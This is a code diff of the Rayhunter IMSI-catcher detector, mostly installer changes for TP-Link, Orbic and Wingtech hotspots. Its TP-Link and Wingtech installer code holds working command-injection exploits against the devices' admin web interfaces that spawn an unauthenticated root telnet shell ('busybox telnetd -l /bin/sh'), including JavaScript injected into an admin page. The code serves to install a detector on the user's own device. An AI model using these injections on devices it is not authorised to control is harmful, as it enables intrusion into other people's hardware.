@@ -244,7 +231,7 @@ async fn get_adb() -> Result<ADBUSBDevice> {
Err(RustADBError::IOError(e)) if e.kind() == ErrorKind::ResourceBusy => { Err(RustADBError::IOError(e)) if e.kind() == ErrorKind::ResourceBusy => {
bail!(ORBIC_BUSY); bail!(ORBIC_BUSY);
} }
#[cfg(target_os = "macos")] #[cfg(any(target_os = "macos", target_os = "windows"))]
Err(RustADBError::IOError(e)) if e.kind() == ErrorKind::PermissionDenied => { Err(RustADBError::IOError(e)) if e.kind() == ErrorKind::PermissionDenied => {
bail!(ORBIC_BUSY_MAC); bail!(ORBIC_BUSY_MAC);
} }
@@ -321,9 +308,58 @@ async fn wait_for_usb_device(vendor_id: u16, product_id: u16) -> Result<()> {
} }
} }
async fn at_syscmd(interface: &Interface, command: &str) -> Result<()> { async fn adb_setup_serial(adb_device: &mut ADBUSBDevice) -> Result<()> {
send_serial_cmd(interface, &format!("AT+SYSCMD={command}")).await Ok(adb_device.get_transport_mut().claim_interface(INTERFACE)?)
} }
async fn adb_at_syscmd(adb_device: &mut ADBUSBDevice, command: &str) -> Result<()> {
adb_serial_cmd(adb_device, &format!("AT+SYSCMD={command}")).await
}
async fn adb_serial_cmd(adb_device: &mut ADBUSBDevice, command: &str) -> Result<()> {
let mut data = String::new();
data.push_str("\r\n");
data.push_str(command);
data.push_str("\r\n");
let timeout = Duration::from_secs(2);
let mut response = [0; 256];
// Set up the serial port appropriately
adb_device
.get_transport_mut()
.send_usb_class_control_msg(INTERFACE, 0x22, 3, 1, &[], timeout)
.context("Failed to send control request")?;
// Send the command
adb_device
.get_transport_mut()
.usb_bulk_write(INTERFACE, 0x2, data.as_bytes(), timeout)
.context("Failed to write command")?;
// Consume the echoed command
adb_device
.get_transport_mut()
.usb_bulk_read(INTERFACE, 0x82, &mut response, timeout)
.context("Failed to read submitted command")?;
// Read the actual response
adb_device
.get_transport_mut()
.usb_bulk_read(INTERFACE, 0x82, &mut response, timeout)
.context("Failed to read response")?;
// For some reason, on macOS the response buffer gets filled with garbage data that's
// rarely valid UTF-8. Luckily we only care about the first couple bytes, so just drop
// the garbage with `from_utf8_lossy` and look for our expected success string.
let responsestr = String::from_utf8_lossy(&response);
if !responsestr.contains("\r\nOK\r\n") {
bail!("Received unexpected response: {0}", responsestr);
}
Ok(())
}
/// Sends an AT command to the usb device over the serial port /// Sends an AT command to the usb device over the serial port
/// ///
/// First establish a USB handle and context by calling `open_orbic(<T>) /// First establish a USB handle and context by calling `open_orbic(<T>)
@@ -400,7 +436,7 @@ pub fn enable_command_mode() -> Result<()> {
index: 0, index: 0,
}; };
let interface = device let interface = device
.detach_and_claim_interface(1) .detach_and_claim_interface(RNDIS_INTERFACE)
.context("detach_and_claim_interface(1) failed")?; .context("detach_and_claim_interface(1) failed")?;
if let Err(e) = interface.control_out_blocking(enable_command_mode, &[], timeout) { if let Err(e) = interface.control_out_blocking(enable_command_mode, &[], timeout) {
// If the device reboots while the command is still executing we // If the device reboots while the command is still executing we
@@ -421,7 +457,7 @@ pub fn open_orbic() -> Result<Option<Interface>> {
// Device after initial mode switch // Device after initial mode switch
if let Some(device) = open_usb_device(VENDOR_ID, PRODUCT_ID)? { if let Some(device) = open_usb_device(VENDOR_ID, PRODUCT_ID)? {
let interface = device let interface = device
.detach_and_claim_interface(1) // will reattach drivers on release .detach_and_claim_interface(INTERFACE) // will reattach drivers on release
.context("detach_and_claim_interface(1) failed")?; .context("detach_and_claim_interface(1) failed")?;
return Ok(Some(interface)); return Ok(Some(interface));
} }
@@ -429,7 +465,7 @@ pub fn open_orbic() -> Result<Option<Interface>> {
// Device with rndis enabled as well // Device with rndis enabled as well
if let Some(device) = open_usb_device(VENDOR_ID, 0xf622)? { if let Some(device) = open_usb_device(VENDOR_ID, 0xf622)? {
let interface = device let interface = device
.detach_and_claim_interface(1) // will reattach drivers on release .detach_and_claim_interface(INTERFACE) // will reattach drivers on release
.context("detach_and_claim_interface(1) failed")?; .context("detach_and_claim_interface(1) failed")?;
return Ok(Some(interface)); return Ok(Some(interface));
} }
+95 -131
View File
@@ -15,11 +15,10 @@ use bytes::{Bytes, BytesMut};
use hyper::StatusCode; use hyper::StatusCode;
use hyper_util::{client::legacy::connect::HttpConnector, rt::TokioExecutor}; use hyper_util::{client::legacy::connect::HttpConnector, rt::TokioExecutor};
use serde::Deserialize; use serde::Deserialize;
use tokio::io::{AsyncReadExt, AsyncWriteExt}; use tokio::time::sleep;
use tokio::net::TcpStream;
use tokio::time::{sleep, timeout};
use crate::InstallTpLink; use crate::InstallTpLink;
use crate::util::{telnet_send_command, telnet_send_file};
type HttpProxyClient = hyper_util::client::legacy::Client<HttpConnector, Body>; type HttpProxyClient = hyper_util::client::legacy::Client<HttpConnector, Body>;
@@ -27,10 +26,11 @@ pub async fn main_tplink(
InstallTpLink { InstallTpLink {
skip_sdcard, skip_sdcard,
admin_ip, admin_ip,
sdcard_path,
}: InstallTpLink, }: InstallTpLink,
) -> Result<(), Error> { ) -> Result<(), Error> {
start_telnet(&admin_ip).await?; let is_v3 = start_telnet(&admin_ip).await?;
tplink_run_install(skip_sdcard, admin_ip).await tplink_run_install(skip_sdcard, admin_ip, sdcard_path, is_v3).await
} }
#[derive(Deserialize)] #[derive(Deserialize)]
@@ -38,24 +38,33 @@ struct V3RootResponse {
result: u64, result: u64,
} }
pub async fn start_telnet(admin_ip: &str) -> Result<(), Error> { pub async fn start_telnet(admin_ip: &str) -> Result<bool, Error> {
let qcmap_web_cgi_endpoint = format!("http://{admin_ip}/cgi-bin/qcmap_web_cgi");
let client = reqwest::Client::new(); let client = reqwest::Client::new();
println!("Launching telnet on the device"); println!("Launching telnet on the device");
// https://github.com/advisories/GHSA-ffwq-9r7p-3j6r for endpoint in [
// in particular: https://www.yuque.com/docs/share/fca60ef9-e5a4-462a-a984-61def4c9b132 // TP-Link M7350 v3
let response = client.post(&qcmap_web_cgi_endpoint) // https://github.com/advisories/GHSA-ffwq-9r7p-3j6r
.body(r#"{"module": "webServer", "action": 1, "language": "EN';echo $(busybox telnetd -l /bin/sh);echo 1'"}"#) // in particular: https://www.yuque.com/docs/share/fca60ef9-e5a4-462a-a984-61def4c9b132
.send() format!("http://{admin_ip}/cgi-bin/qcmap_web_cgi"),
.await?; // TP-Link M7310 v1
// (adaptation of M7350 exploit)
format!("http://{admin_ip}/cgi-bin/web_cgi"),
] {
let response = client.post(&endpoint)
.body(r#"{"module": "webServer", "action": 1, "language": "EN';echo $(busybox telnetd -l /bin/sh);echo 1'"}"#)
.send()
.await?;
if response.status() == 404 { if response.status() == 404 {
println!("Got a 404 trying to run exploit for hardware revision v3, trying v5 exploit"); continue;
tplink_launch_telnet_v5(admin_ip).await?; }
} else {
let V3RootResponse { result } = response.error_for_status()?.json().await?; let Ok(V3RootResponse { result }) = response.error_for_status()?.json().await else {
// On TP-Link M7350 v9, the endpoint /cgi-bin/web_cgi returns 200 OK without launching telnet, and without a response body.
continue;
};
if result != 0 { if result != 0 {
anyhow::bail!("Bad result code when trying to root device: {result}"); anyhow::bail!("Bad result code when trying to root device: {result}");
@@ -64,7 +73,7 @@ pub async fn start_telnet(admin_ip: &str) -> Result<(), Error> {
// resetting the language is important because otherwise the tplink's admin interface is // resetting the language is important because otherwise the tplink's admin interface is
// unusuable. // unusuable.
let V3RootResponse { result } = client let V3RootResponse { result } = client
.post(&qcmap_web_cgi_endpoint) .post(&endpoint)
.body(r#"{"module": "webServer", "action": 1, "language": "en"}"#) .body(r#"{"module": "webServer", "action": 1, "language": "en"}"#)
.send() .send()
.await? .await?
@@ -77,25 +86,55 @@ pub async fn start_telnet(admin_ip: &str) -> Result<(), Error> {
} }
println!("Detected hardware revision v3"); println!("Detected hardware revision v3");
return Ok(true);
} }
println!( println!("Got a 404 trying to run exploit for hardware revision v3, trying v5 exploit");
"Succeeded in rooting the device! Now you can use 'telnet {admin_ip}' to get a root shell. Use './installer util tplink-start-telnet' to root again without installing rayhunter." tplink_launch_telnet_v5(admin_ip).await?;
);
Ok(()) Ok(false)
} }
async fn tplink_run_install(skip_sdcard: bool, admin_ip: String) -> Result<(), Error> { async fn tplink_run_install(
skip_sdcard: bool,
admin_ip: String,
mut sdcard_path: String,
is_v3: bool,
) -> Result<(), Error> {
println!("Connecting via telnet to {admin_ip}"); println!("Connecting via telnet to {admin_ip}");
let addr = SocketAddr::from_str(&format!("{admin_ip}:23")).unwrap(); let addr = SocketAddr::from_str(&format!("{admin_ip}:23")).unwrap();
if !skip_sdcard { if !skip_sdcard {
println!("Mounting sdcard"); if sdcard_path.is_empty() {
if telnet_send_command(addr, "mount | grep -q /media/card", "exit code 0") if telnet_send_command(addr, "ls /media/card", "exit code 0")
.await .await
.is_err() .is_ok()
{
// TP-Link hardware less than v9.0
sdcard_path = "/media/card".to_owned();
} else if telnet_send_command(addr, "ls /media/sdcard", "exit code 0")
.await
.is_ok()
{
// TP-Link hardware v9.0
sdcard_path = "/media/sdcard".to_owned();
} else {
anyhow::bail!(
"unable to determine sdcard path. this is a bug. please file an issue with your hardware version."
);
}
}
println!("Mounting sdcard on {sdcard_path}");
if telnet_send_command(
addr,
&format!("mount | grep -q {sdcard_path}"),
"exit code 0",
)
.await
.is_err()
{ {
telnet_send_command(addr, "mount /dev/mmcblk0p1 /media/card", "exit code 0").await.context("Rayhunter needs a FAT-formatted SD card to function for more than a few minutes. Insert one and rerun this installer, or pass --skip-sdcard")?; telnet_send_command(addr, &format!("mount /dev/mmcblk0p1 {sdcard_path}"), "exit code 0").await.context("Rayhunter needs a FAT-formatted SD card to function for more than a few minutes. Insert one and rerun this installer, or pass --skip-sdcard")?;
} else { } else {
println!("sdcard already mounted"); println!("sdcard already mounted");
} }
@@ -105,28 +144,39 @@ async fn tplink_run_install(skip_sdcard: bool, admin_ip: String) -> Result<(), E
// expects things to be at this location // expects things to be at this location
telnet_send_command(addr, "rm -rf /data/rayhunter", "exit code 0").await?; telnet_send_command(addr, "rm -rf /data/rayhunter", "exit code 0").await?;
telnet_send_command(addr, "mkdir -p /data", "exit code 0").await?; telnet_send_command(addr, "mkdir -p /data", "exit code 0").await?;
telnet_send_command(addr, "ln -sf /media/card /data/rayhunter", "exit code 0").await?; telnet_send_command(
addr,
&format!("ln -sf {sdcard_path} /data/rayhunter"),
"exit code 0",
)
.await?;
telnet_send_file( telnet_send_file(
addr, addr,
"/media/card/config.toml", &format!("{sdcard_path}/config.toml"),
crate::CONFIG_TOML.as_bytes(), crate::CONFIG_TOML.as_bytes(),
) )
.await?; .await?;
let rayhunter_daemon_bin = include_bytes!(env!("FILE_RAYHUNTER_DAEMON_TPLINK")); let rayhunter_daemon_bin = include_bytes!(env!("FILE_RAYHUNTER_DAEMON_TPLINK"));
telnet_send_file(addr, "/media/card/rayhunter-daemon", rayhunter_daemon_bin).await?; telnet_send_file(
addr,
&format!("{sdcard_path}/rayhunter-daemon"),
rayhunter_daemon_bin,
)
.await?;
telnet_send_file( telnet_send_file(
addr, addr,
"/etc/init.d/rayhunter_daemon", "/etc/init.d/rayhunter_daemon",
get_rayhunter_daemon().as_bytes(), get_rayhunter_daemon(&sdcard_path).as_bytes(),
) )
.await?; .await?;
telnet_send_command( telnet_send_command(
addr, addr,
"chmod ugo+x /media/card/rayhunter-daemon", &format!("chmod ugo+x {sdcard_path}/rayhunter-daemon"),
"exit code 0", "exit code 0",
) )
.await?; .await?;
@@ -136,7 +186,13 @@ async fn tplink_run_install(skip_sdcard: bool, admin_ip: String) -> Result<(), E
"exit code 0", "exit code 0",
) )
.await?; .await?;
telnet_send_command(addr, "update-rc.d rayhunter_daemon defaults", "exit code 0").await?;
// if the device is not v3, the JS-based root exploit already added rayhunter_daemon as a
// startup script. tplink v9 does not have update-rc.d, and it was reported that *sometimes* it
// is unreliable on other hardware revisions too.
if is_v3 {
telnet_send_command(addr, "update-rc.d rayhunter_daemon defaults", "exit code 0").await?;
}
println!( println!(
"Done. Rebooting device. After it's started up again, check out the web interface at http://{admin_ip}:8080" "Done. Rebooting device. After it's started up again, check out the web interface at http://{admin_ip}:8080"
@@ -147,99 +203,6 @@ async fn tplink_run_install(skip_sdcard: bool, admin_ip: String) -> Result<(), E
Ok(()) Ok(())
} }
async fn telnet_send_file(addr: SocketAddr, filename: &str, payload: &[u8]) -> Result<(), Error> {
println!("Sending file {filename}");
// remove the old file just in case we are close to disk capacity.
telnet_send_command(addr, &format!("rm {filename}"), "").await?;
{
let filename = filename.to_owned();
let handle = tokio::spawn(async move {
telnet_send_command(addr, &format!("nc -l 0.0.0.0:8081 > {filename}.tmp"), "").await
});
sleep(Duration::from_millis(100)).await;
let mut addr = addr;
addr.set_port(8081);
let mut stream = TcpStream::connect(addr).await?;
stream.write_all(payload).await?;
handle.await??;
}
let checksum = md5::compute(payload);
telnet_send_command(
addr,
&format!("md5sum {filename}.tmp"),
&format!("{checksum:x} {filename}.tmp"),
)
.await?;
telnet_send_command(
addr,
&format!("mv {filename}.tmp {filename}"),
"exit code 0",
)
.await?;
Ok(())
}
async fn telnet_send_command(
addr: SocketAddr,
command: &str,
expected_output: &str,
) -> Result<(), Error> {
let stream = TcpStream::connect(addr).await?;
let (mut reader, mut writer) = stream.into_split();
loop {
let mut next_byte = 0;
reader
.read_exact(std::slice::from_mut(&mut next_byte))
.await?;
if next_byte == b'#' {
break;
}
}
writer.write_all(command.as_bytes()).await?;
writer.write_all(b"; echo exit code $?\r\n").await?;
let mut read_buf = Vec::new();
let _ = timeout(Duration::from_secs(5), async {
let mut buf = [0; 4096];
loop {
let Ok(bytes_read) = reader.read(&mut buf).await else {
break;
};
let bytes = &buf[..bytes_read];
if bytes.is_empty() {
continue;
}
read_buf.extend(bytes);
if read_buf.ends_with(b"/ # ") {
break;
}
}
})
.await;
let string = String::from_utf8_lossy(&read_buf);
if !string.contains(expected_output) {
anyhow::bail!("{expected_output:?} not found in: {string}");
}
Ok(())
}
#[derive(Clone)] #[derive(Clone)]
struct AppState { struct AppState {
client: HttpProxyClient, client: HttpProxyClient,
@@ -278,6 +241,7 @@ async fn handler(state: State<AppState>, mut req: Request) -> Result<Response, S
// inject some javascript into the admin UI to get us a telnet shell. // inject some javascript into the admin UI to get us a telnet shell.
data.extend(br#";window.rayhunterPoll = window.setInterval(() => { data.extend(br#";window.rayhunterPoll = window.setInterval(() => {
Globals.models.PTModel.add({applicationName: "rayhunter-root", enableState: 1, entryId: 1, openPort: "2300-2400", openProtocol: "TCP", triggerPort: "$(busybox telnetd -l /bin/sh)", triggerProtocol: "TCP"}); Globals.models.PTModel.add({applicationName: "rayhunter-root", enableState: 1, entryId: 1, openPort: "2300-2400", openProtocol: "TCP", triggerPort: "$(busybox telnetd -l /bin/sh)", triggerProtocol: "TCP"});
Globals.models.PTModel.add({applicationName: "rayhunter-daemon", enableState: 1, entryId: 2, openPort: "2400-2500", openProtocol: "TCP", triggerPort: "$(/etc/init.d/rayhunter_daemon start)", triggerProtocol: "TCP"});
alert("Success! You can go back to the rayhunter installer."); alert("Success! You can go back to the rayhunter installer.");
window.clearInterval(window.rayhunterPoll); window.clearInterval(window.rayhunterPoll);
}, 1000);"#); }, 1000);"#);
@@ -324,7 +288,7 @@ async fn tplink_launch_telnet_v5(admin_ip: &str) -> Result<(), Error> {
Ok(()) Ok(())
} }
fn get_rayhunter_daemon() -> String { fn get_rayhunter_daemon(sdcard_path: &str) -> String {
// Even though TP-Link eventually auto-mounts the SD card, it sometimes does so too late. And // Even though TP-Link eventually auto-mounts the SD card, it sometimes does so too late. And
// changing the order in which daemons are started up seems to not work reliably. // changing the order in which daemons are started up seems to not work reliably.
// //
@@ -332,12 +296,12 @@ fn get_rayhunter_daemon() -> String {
// specific to a particular hardware revision here. // specific to a particular hardware revision here.
crate::RAYHUNTER_DAEMON_INIT.replace( crate::RAYHUNTER_DAEMON_INIT.replace(
"#RAYHUNTER-PRESTART", "#RAYHUNTER-PRESTART",
"mount /dev/mmcblk0p1 /media/card || true", &format!("mount /dev/mmcblk0p1 {sdcard_path} || true"),
) )
} }
#[test] #[test]
fn test_get_rayhunter_daemon() { fn test_get_rayhunter_daemon() {
let s = get_rayhunter_daemon(); let s = get_rayhunter_daemon("/media/card");
assert!(s.contains("mount /dev/mmcblk0p1 /media/card")); assert!(s.contains("mount /dev/mmcblk0p1 /media/card"));
} }
+90
View File
@@ -0,0 +1,90 @@
use std::io::Write;
use std::net::SocketAddr;
use std::time::Duration;
use anyhow::{Result, bail};
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::TcpStream;
use tokio::time::{sleep, timeout};
macro_rules! echo {
($($arg:tt)*) => {
print!($($arg)*);
let _ = std::io::stdout().flush();
};
}
pub(crate) use echo;
pub async fn telnet_send_command(
addr: SocketAddr,
command: &str,
expected_output: &str,
) -> Result<()> {
let stream = TcpStream::connect(addr).await?;
let (mut reader, mut writer) = stream.into_split();
loop {
let mut next_byte = 0;
reader
.read_exact(std::slice::from_mut(&mut next_byte))
.await?;
if next_byte == b'#' {
break;
}
}
writer.write_all(command.as_bytes()).await?;
writer.write_all(b"; echo exit code $?\r\n").await?;
let mut read_buf = Vec::new();
let _ = timeout(Duration::from_secs(5), async {
let mut buf = [0; 4096];
loop {
let Ok(bytes_read) = reader.read(&mut buf).await else {
break;
};
let bytes = &buf[..bytes_read];
if bytes.is_empty() {
continue;
}
read_buf.extend(bytes);
if read_buf.ends_with(b"/ # ") {
break;
}
}
})
.await;
let string = String::from_utf8_lossy(&read_buf);
if !string.contains(expected_output) {
bail!("{expected_output:?} not found in: {string}");
}
Ok(())
}
pub async fn telnet_send_file(addr: SocketAddr, filename: &str, payload: &[u8]) -> Result<()> {
echo!("Sending file {filename} ... ");
{
let filename = filename.to_owned();
let handle = tokio::spawn(async move {
telnet_send_command(addr, &format!("nc -l -p 8081 >{filename}.tmp"), "").await
});
sleep(Duration::from_millis(100)).await;
let mut addr = addr;
addr.set_port(8081);
let mut stream = TcpStream::connect(addr).await?;
stream.write_all(payload).await?;
handle.await??;
}
let checksum = md5::compute(payload);
telnet_send_command(
addr,
&format!("md5sum {filename}.tmp"),
&format!("{checksum:x} {filename}.tmp"),
)
.await?;
telnet_send_command(
addr,
&format!("mv {filename}.tmp {filename}"),
"exit code 0",
)
.await?;
println!("ok");
Ok(())
}
+182
View File
@@ -0,0 +1,182 @@
/// Installer for the Wingtech CT2MHS01 hotspot.
///
/// Tested on (from `/etc/wt_version`):
/// WT_INNER_VERSION=SW_Q89323AA1_V057_M10_CRICKET_USR_MP
/// WT_PRODUCTION_VERSION=CT2MHS01_0.04.55
/// WT_HARDWARE_VERSION=89323_1_20
use std::io::Write;
use std::net::SocketAddr;
use std::str::FromStr;
use std::time::Duration;
use aes::Aes128;
use aes::cipher::{BlockEncrypt, KeyInit, generic_array::GenericArray};
use anyhow::{Context, Result, bail};
use base64_light::base64_encode_bytes;
use block_padding::{Padding, Pkcs7};
use reqwest::Client;
use serde::Deserialize;
use tokio::time::sleep;
use crate::WingtechArgs as Args;
use crate::util::{echo, telnet_send_command, telnet_send_file};
#[derive(Deserialize)]
struct LoginResponse {
token: String,
}
pub async fn install(
Args {
admin_ip,
admin_password,
}: Args,
) -> Result<()> {
wingtech_run_install(admin_ip, admin_password).await
}
const KEY: &[u8] = b"abcdefghijklmn12";
/// Returns password encrypted in AES128 ECB mode with the key b"abcdefghijklmn12",
/// with Pkcs7 padding, encoded in base64.
fn encrypt_password(password: &[u8]) -> Result<String> {
let c = Aes128::new_from_slice(KEY)?;
let mut b = GenericArray::from([0u8; 16]);
b[..password.len()].copy_from_slice(password);
Pkcs7::pad(&mut b, password.len());
c.encrypt_block(&mut b);
Ok(base64_encode_bytes(&b))
}
pub async fn start_telnet(admin_ip: &str, admin_password: &str) -> Result<()> {
run_command(admin_ip, admin_password, "busybox telnetd -l /bin/sh").await
}
pub async fn start_adb(admin_ip: &str, admin_password: &str) -> Result<()> {
run_command(admin_ip, admin_password, "/sbin/usb/compositions/9025").await
}
async fn run_command(admin_ip: &str, admin_password: &str, cmd: &str) -> Result<()> {
let qcmap_auth_endpoint = format!("http://{admin_ip}/cgi-bin/qcmap_auth");
let qcmap_web_cgi_endpoint = format!("http://{admin_ip}/cgi-bin/qcmap_web_cgi");
let encrypted_pw = encrypt_password(admin_password.as_bytes()).ok().unwrap();
let client = Client::new();
let LoginResponse { token } = client
.post(&qcmap_auth_endpoint)
.body(format!(
"type=login&pwd={encrypted_pw}&timeout=60000&user=admin"
))
.send()
.await?
.json()
.await
.context("login did not return a token in response")?;
let command = client.post(&qcmap_web_cgi_endpoint)
.body(format!("page=setFWMacFilter&cmd=add&mode=0&mac=50:5A:CA:B5:05||{cmd}&key=50:5A:CA:B5:05:AC&token={token}"))
.send()
.await?;
if command.status() != 200 {
bail!(
"running command failed with status code: {:?}",
command.status()
);
}
Ok(())
}
async fn wingtech_run_install(admin_ip: String, admin_password: String) -> Result<()> {
echo!("Starting telnet ... ");
start_telnet(&admin_ip, &admin_password).await?;
println!("ok");
echo!("Connecting via telnet to {admin_ip} ... ");
let addr = SocketAddr::from_str(&format!("{admin_ip}:23")).unwrap();
telnet_send_command(addr, "mkdir -p /data/rayhunter", "exit code 0").await?;
println!("ok");
telnet_send_file(
addr,
"/data/rayhunter/config.toml",
crate::CONFIG_TOML.as_bytes(),
)
.await?;
let rayhunter_daemon_bin = include_bytes!(env!("FILE_RAYHUNTER_DAEMON_WINGTECH"));
telnet_send_file(
addr,
"/data/rayhunter/rayhunter-daemon",
rayhunter_daemon_bin,
)
.await?;
telnet_send_command(
addr,
"chmod 755 /data/rayhunter/rayhunter-daemon",
"exit code 0",
)
.await?;
telnet_send_file(
addr,
"/etc/init.d/rayhunter_daemon",
crate::RAYHUNTER_DAEMON_INIT.as_bytes(),
)
.await?;
telnet_send_command(
addr,
"chmod 755 /etc/init.d/rayhunter_daemon",
"exit code 0",
)
.await?;
telnet_send_command(addr, "update-rc.d rayhunter_daemon defaults", "exit code 0").await?;
println!("Rebooting device and waiting 30 seconds for it to start up.");
telnet_send_command(addr, "reboot", "exit code 0").await?;
sleep(Duration::from_secs(30)).await;
echo!("Testing rayhunter ... ");
let max_failures = 10;
http_ok_every(
format!("http://{admin_ip}:8080/index.html"),
Duration::from_secs(3),
max_failures,
)
.await?;
println!("ok");
println!("rayhunter is running at http://{admin_ip}:8080");
Ok(())
}
async fn http_ok_every(rayhunter_url: String, interval: Duration, max_failures: u32) -> Result<()> {
let client = Client::new();
let mut failures = 0;
loop {
match client.get(&rayhunter_url).send().await {
Ok(test) => match test.status().is_success() {
true => break,
false => bail!(
"request for url ({rayhunter_url}) failed with status code: {:?}",
test.status()
),
},
Err(e) => match failures > max_failures {
true => return Err(e.into()),
false => failures += 1,
},
}
sleep(interval).await;
}
Ok(())
}
#[test]
fn test_encrypt_password() {
let p = b"80536913";
let s = encrypt_password(p).ok();
let expected = Some("5brvd8xl732cSoFTAy67ig==".to_string());
assert_eq!(s, expected);
}
+4 -5
View File
@@ -1,6 +1,6 @@
[package] [package]
name = "rayhunter" name = "rayhunter"
version = "0.3.0" version = "0.4.0"
edition = "2021" edition = "2021"
description = "Realtime cellular data decoding and analysis for IMSI catcher detection" description = "Realtime cellular data decoding and analysis for IMSI catcher detection"
@@ -13,20 +13,19 @@ path = "src/lib.rs"
default = [] default = []
orbic = [] orbic = []
tplink = [] tplink = []
wingtech = []
[dependencies] [dependencies]
bytes = "1.5.0" bytes = "1.5.0"
chrono = "0.4.31" chrono = "0.4.31"
crc = "3.0.1" crc = "3.0.1"
deku = { version = "0.18.0", features = ["logging"] } deku = { version = "0.18.0", features = ["logging"] }
env_logger = "0.10.1"
libc = "0.2.150" libc = "0.2.150"
log = "0.4.20" log = "0.4.20"
nix = { version = "0.29.0", features = ["feature"] } nix = { version = "0.29.0", features = ["feature"] }
pcap-file-tokio = "0.1.0" pcap-file-tokio = "0.1.0"
thiserror = "1.0.50" thiserror = "1.0.50"
telcom-parser = { path = "../telcom-parser" } telcom-parser = { path = "../telcom-parser" }
tokio = { version = "1.44.2", features = ["full"] } tokio = { version = "1.44.2", default-features = false }
futures-core = "0.3.30" futures = { version = "0.3.30", default-features = false }
futures = "0.3.30"
serde = { version = "1.0.197", features = ["derive"] } serde = { version = "1.0.197", features = ["derive"] }
+35 -10
View File
@@ -1,5 +1,5 @@
use chrono::{DateTime, FixedOffset}; use chrono::{DateTime, FixedOffset};
use serde::Serialize; use serde::{Deserialize, Serialize};
use std::borrow::Cow; use std::borrow::Cow;
use crate::util::RuntimeMetadata; use crate::util::RuntimeMetadata;
@@ -8,9 +8,29 @@ use crate::{diag::MessagesContainer, gsmtap_parser};
use super::{ use super::{
connection_redirect_downgrade::ConnectionRedirect2GDowngradeAnalyzer, connection_redirect_downgrade::ConnectionRedirect2GDowngradeAnalyzer,
imsi_requested::ImsiRequestedAnalyzer, information_element::InformationElement, imsi_requested::ImsiRequestedAnalyzer, information_element::InformationElement,
priority_2g_downgrade::LteSib6And7DowngradeAnalyzer, null_cipher::NullCipherAnalyzer, priority_2g_downgrade::LteSib6And7DowngradeAnalyzer,
}; };
#[derive(Debug, Clone, Deserialize, Serialize)]
#[serde(default)]
pub struct AnalyzerConfig {
pub imsi_requested: bool,
pub connection_redirect_2g_downgrade: bool,
pub lte_sib6_and_7_downgrade: bool,
pub null_cipher: bool,
}
impl Default for AnalyzerConfig {
fn default() -> Self {
AnalyzerConfig {
imsi_requested: true,
connection_redirect_2g_downgrade: true,
lte_sib6_and_7_downgrade: true,
null_cipher: true,
}
}
}
/// Qualitative measure of how severe a Warning event type is. /// Qualitative measure of how severe a Warning event type is.
/// The levels should break down like this: /// The levels should break down like this:
/// * Low: if combined with a large number of other Warnings, user should investigate /// * Low: if combined with a large number of other Warnings, user should investigate
@@ -122,16 +142,21 @@ impl Harness {
} }
} }
pub fn new_with_all_analyzers() -> Self { pub fn new_with_config(analyzer_config: &AnalyzerConfig) -> Self {
let mut harness = Harness::new(); let mut harness = Harness::new();
harness.add_analyzer(Box::new(ImsiRequestedAnalyzer::new()));
harness.add_analyzer(Box::new(ConnectionRedirect2GDowngradeAnalyzer {}));
harness.add_analyzer(Box::new(LteSib6And7DowngradeAnalyzer {}));
// FIXME: our RRC parser is reporting false positives for this due to an if analyzer_config.imsi_requested {
// upstream hampi bug (https://github.com/ystero-dev/hampi/issues/133). harness.add_analyzer(Box::new(ImsiRequestedAnalyzer::new()));
// once that's fixed, we should regenerate our parser and re-enable this }
// harness.add_analyzer(Box::new(NullCipherAnalyzer{})); if analyzer_config.connection_redirect_2g_downgrade {
harness.add_analyzer(Box::new(ConnectionRedirect2GDowngradeAnalyzer {}));
}
if analyzer_config.lte_sib6_and_7_downgrade {
harness.add_analyzer(Box::new(LteSib6And7DowngradeAnalyzer {}));
}
if analyzer_config.null_cipher {
harness.add_analyzer(Box::new(NullCipherAnalyzer {}));
}
harness harness
} }
+78 -18
View File
@@ -6,13 +6,15 @@ use crate::hdlc::hdlc_encapsulate;
use crate::log_codes; use crate::log_codes;
use deku::prelude::*; use deku::prelude::*;
use futures_core::TryStream; use futures::TryStream;
use log::{error, info}; use log::{debug, error, info};
use std::io::ErrorKind; use std::io::ErrorKind;
use std::os::fd::AsRawFd; use std::os::fd::AsRawFd;
use std::time::Duration;
use thiserror::Error; use thiserror::Error;
use tokio::fs::File; use tokio::fs::File;
use tokio::io::{AsyncReadExt, AsyncWriteExt}; use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::time::sleep;
pub type DiagResult<T> = Result<T, DiagDeviceError>; pub type DiagResult<T> = Result<T, DiagDeviceError>;
@@ -85,6 +87,52 @@ pub struct DiagDevice {
impl DiagDevice { impl DiagDevice {
pub async fn new() -> DiagResult<Self> { pub async fn new() -> DiagResult<Self> {
Self::new_with_retries(Duration::from_secs(30)).await
}
pub async fn new_with_retries(max_duration: Duration) -> DiagResult<Self> {
// For some reason the diag device needs a very long time to become available again with in
// the same process, on TP-Link M7350 v3. While process restart would reset it faster.
let start_time = std::time::Instant::now();
let max_delay = Duration::from_secs(5);
let mut delay = Duration::from_millis(100);
let mut num_retries = 0;
loop {
match Self::try_new().await {
Ok(device) => {
info!(
"Diag device initialization succeeded after {} retries",
num_retries
);
return Ok(device);
}
Err(e) => {
num_retries += 1;
if start_time.elapsed() >= max_duration {
error!(
"Failed to initialize diag device after {:?}: {}",
max_duration, e
);
return Err(e);
}
info!(
"Diag device initialization failed {} times, retrying in {:?}: {}",
num_retries, delay, e
);
sleep(delay).await;
// Exponential backoff
delay = std::cmp::min(delay * 2, max_delay);
}
}
}
}
async fn try_new() -> DiagResult<Self> {
let diag_file = File::options() let diag_file = File::options()
.read(true) .read(true)
.write(true) .write(true)
@@ -123,7 +171,7 @@ impl DiagDevice {
.map_err(DiagDeviceError::DeviceReadFailed)?; .map_err(DiagDeviceError::DeviceReadFailed)?;
} }
info!( debug!(
"Parsing messages container size = {:?} [{:?}]", "Parsing messages container size = {:?} [{:?}]",
bytes_read, bytes_read,
&self.read_buf[0..bytes_read] &self.read_buf[0..bytes_read]
@@ -251,6 +299,7 @@ impl DiagDevice {
// //
// TPLINK M7350 v5 source code can be downloaded at https://www.tp-link.com/de/support/gpl-code/?app=omada // TPLINK M7350 v5 source code can be downloaded at https://www.tp-link.com/de/support/gpl-code/?app=omada
#[repr(C)] #[repr(C)]
#[derive(Debug, Clone, Copy)]
struct diag_logging_mode_param_t { struct diag_logging_mode_param_t {
req_mode: u32, req_mode: u32,
peripheral_mask: u32, peripheral_mask: u32,
@@ -261,30 +310,41 @@ struct diag_logging_mode_param_t {
